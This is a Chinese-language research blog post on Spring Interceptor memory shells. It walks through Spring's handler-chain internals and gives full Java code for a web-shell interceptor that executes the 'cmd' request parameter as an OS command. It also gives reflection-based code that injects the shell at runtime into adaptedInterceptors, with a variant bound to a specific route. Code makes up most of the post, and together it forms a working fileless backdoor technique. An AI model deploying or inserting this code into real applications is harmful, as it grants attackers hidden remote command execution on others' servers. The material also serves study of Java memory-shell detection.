Spring Interceptor 内存马分析
demo
创建如下Intercetor:
package com.example.demo;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class MyInterceptor implements HandlerInterceptor {
public boolean preHandle(HttpServletRequest req, HttpServletResponse res, Object handler) throws Exception {
if (req.getParameter("cmd") != null) {
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
res.getWriter().write(new String(bytes,0,len));
process.destroy();
return false;
}
else{
return true;
}
}
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
}
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
}
}
通过WebMvcConfigurer接口来注册Intercetor:
package com.example.demo;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration
public class InterceptorConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new MyInterceptor());
}
}
启动后,访问任意url即可执行命令。
调试分析
在preHandle方法中下断点,对其进行调试分析:
调用栈如下:
我们注册的MyInterceptor的preHandle方法是在HandlerExecutionChain#applyPreHandle方法中所调用的。
applyPreHandle方法是在DispatcherServlet#doDispatch方法中调用的,mappedHandler中存放了拦截器。
mappedHandler由this.getHandler而来,我们在getHandler中下断点,进行调试分析。
首先获取了mapping,这个mapping是requestMappingHandlerMapping,是一个bean
然后会调用mapping.getHandler方法,其实是调用到AbstractHandlerMapping#getHandler方法。
在该方法中会调用getHandlerExecutionChain方法,跟进。
在getHandlerExecutionChain方法中会变遍历this.adaptedInterceptors的值,如果是MappedInterceptor的话,会判断匹配url是否匹配再加入chain中,否则直接加入chain中。
可以看到this.adaptedInterceptors中存储的就是拦截器,其中由我们注册的MyInterceptor,而另外两个拦截器则是初始化的时候自带的。
遍历完后返回chain,最后就是返回到DispatcherServlet中的mappedHandler
之后就是调用mappedHandler.applyPreHandle,一直到调用到拦截器的preHandle方法。
注入内存马
通过上述分析,我们可以发现:我们注册的拦截器是会被存放在AbstractHandlerMapping的adaptedInterceptors变量中的,adaptedInterceptors是一个数组。
其存放的拦截器最后会被放入到mappedHandler中,从而调用拦截器的preHandle方法。
所以我们注入内存马,可以在adaptedInterceptors中添加一个拦截器。
所以我们需要获得AbstractHandlerMapping对象,要想获得AbstractHandlerMapping对象,其实只要获得requestMappingHandlerMapping bean就行了,而bean可以通过BeanFactory接口的getBean方法来获得。
根据接口的实现关系,只要实现了WebApplicationContext接口的类我们都可以用。
可以用如下代码获取requestMappingHandlerMapping bean
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
context.getBean("requestMappingHandlerMapping");
从而获得adaptedInterceptors变量,添加拦截器。
注入内存马:
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.List;
@RestController
public class inject {
@GetMapping("/inject")
public void inject(){
try{
// 获取context
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
// 从context中获得 AbstractHandlerMapping 的实例
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
// 反射获取 adaptedInterceptors 字段用于注册拦截器
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
List<HandlerInterceptor> adaptedInterceptors = (ArrayList) field.get(abstractHandlerMapping);
//实例化恶意拦截器并注册
MyInterceptor m = new MyInterceptor();
adaptedInterceptors.add(m);
}catch(Exception e){
e.printStackTrace();
}
}
}
指定注入内存马path
上面所注入内存马,path相当于是/*的,就算访问任何url都可触发。如果只想注入的内存马在path是/aaa时执行,是否有方法。
根据:
满足interceptor instanceof MappedInterceptor这个if条件后,其会对调用MappedInterceptor的matches方法对path进行匹配,如果匹配上了才会加入chain
看下MappedInterceptor的构造函数:
我们可以根据其构造函数来创建MappedInterceptor对象:
MyInterceptor m = new MyInterceptor();
String[] path = new String[]{"/aaa"};
MappedInterceptor mi = new MappedInterceptor(path,null,m);
然后将其添加到adaptedInterceptors中:
import com.example.demo.MyInterceptor;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.handler.MappedInterceptor;
import org.springframework.web.servlet.support.RequestContextUtils;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.List;
@RestController
public class inject {
@GetMapping("/inject")
public void inject(){
try{
// 获取context
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
// 从context中获得 AbstractHandlerMapping 的实例
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
// 反射获取 adaptedInterceptors 字段用于注册拦截器
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
List<HandlerInterceptor> adaptedInterceptors = (ArrayList) field.get(abstractHandlerMapping);
//实例化恶意拦截器并注册
MyInterceptor m = new MyInterceptor();
// 创建MappedInterceptor
String[] path = new String[]{"/aaa"};
MappedInterceptor mi = new MappedInterceptor(path,null,m);
adaptedInterceptors.add(mi);
}catch(Exception e){
e.printStackTrace();
}
}
}
执行注入后,发现访问:http://127.0.0.1:8080/aaa?cmd=whoami并没有执行命令。
调试分析,发现在MappedInterceptor的matches方法中,path为/error
应该是因为/aaa本来就为不存在的路由。
将path改为存在的路由/login
之后再次注入:
import com.example.demo.MyInterceptor;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.handler.MappedInterceptor;
import org.springframework.web.servlet.support.RequestContextUtils;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.List;
@RestController
public class inject {
@GetMapping("/inject")
public void inject(){
try{
// 获取context
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
// 从context中获得 AbstractHandlerMapping 的实例
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
// 反射获取 adaptedInterceptors 字段用于注册拦截器
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
List<HandlerInterceptor> adaptedInterceptors = (ArrayList) field.get(abstractHandlerMapping);
//实例化恶意拦截器并注册
MyInterceptor m = new MyInterceptor();
// 创建MappedInterceptor
String[] path = new String[]{"/login"};
MappedInterceptor mi = new MappedInterceptor(path,null,m);
adaptedInterceptors.add(mi);
}catch(Exception e){
e.printStackTrace();
}
}
}
成功实现。
最后
指定注入内存马path是否还有其它姿势?
本人水平有限,文章出错处请谅解。